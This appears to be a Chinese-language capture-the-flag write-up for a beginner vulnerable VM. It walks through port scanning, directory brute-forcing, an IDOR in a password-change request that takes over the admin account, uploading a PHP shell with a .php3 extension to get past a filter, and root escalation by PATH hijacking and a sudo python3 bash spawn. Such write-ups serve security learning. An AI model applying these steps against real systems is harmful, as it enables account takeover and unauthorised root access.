描述

Difficulty: Easy

It’s a box for beginners, but not easy, Good Luck

Hint: Don’t waste your time For Brute-Force

nmap 扫描

image-20221201095038993

image-20221201095038993

plaintext
1
2
kali 192.168.169.220
靶机  192.168.169.232

nmap扫描靶机

image-20221201095249254

image-20221201095249254

plaintext
1
端口 22 80

访问80

image-20221201095530659

image-20221201095530659

image-20221201095552463

image-20221201095552463

目录爆破

plaintext
1
gobuster dir -u http://192.168.169.232/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

image-20221201100250901

image-20221201100250901

  • 没什么价值

功能点测试

image-20221201100753339

image-20221201100753339

plaintext
1
注册 admin 显示被占用

image-20221201100913807

image-20221201100913807

plaintext
1
2
3
用其他名字成功注册并登录

http://192.168.169.232/dashboard.php?id=2

image-20221201101212704

image-20221201101212704

plaintext
1
2
3
又注册一个账号

http://192.168.169.232/dashboard.php?id=3
plaintext
1
2
3
4
5
注意链接的id字段

自己注册的id是2和3
admin被占用
admin的id可能是1

越权

  • 登录页面抓包

image-20221201101656249

image-20221201101656249

plaintext
1
没看到id
  • 修改密码

image-20221201101754284

image-20221201101754284

plaintext
1
看到id
  • 修改id=1

image-20221201101913444

image-20221201101913444

plaintext
1
用户名admin的密码被修改为222222 登录成功

上传shell

  • kali 开启监听

image-20221201103420336

image-20221201103420336

  • 上传

image-20221201103323383

image-20221201103323383

plaintext
1
上传限制

  • bp抓包改后缀

    plaintext
    1
    php3 上传成功

image-20221201103522400

image-20221201103522400

image-20221201103617711

image-20221201103617711

  • 点击一下上传的文件

image-20221201105432343

image-20221201105432343

  • 成功连接

    plaintext
    1
    python3 -c 'import pty;pty.spawn("/bin/bash")'

提权

image-20221201105848062

image-20221201105848062

image-20221201105923344

image-20221201105923344

  • 一个root权限的文件

image-20221201110122432

image-20221201110122432

  • 是个二进制文件，运行一下：

image-20221201111951240

image-20221201111951240

  • 二进制文件是 id 的副本，它以用户 john 的身份执行，那可以创建一个具有相同名称的自定义二进制文件将目录导出到 PATH：
plaintext
1
echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH
  • 查看password文件得到密码 root123
  • 切换用户john
  • 写入shell
plaintext
1
echo 'import os;os.system("/bin/bash")' > file.py
plaintext
1
sudo python3 /home/john/file.py

image-20221201111748163

image-20221201111748163

image-20221201111831399

image-20221201111831399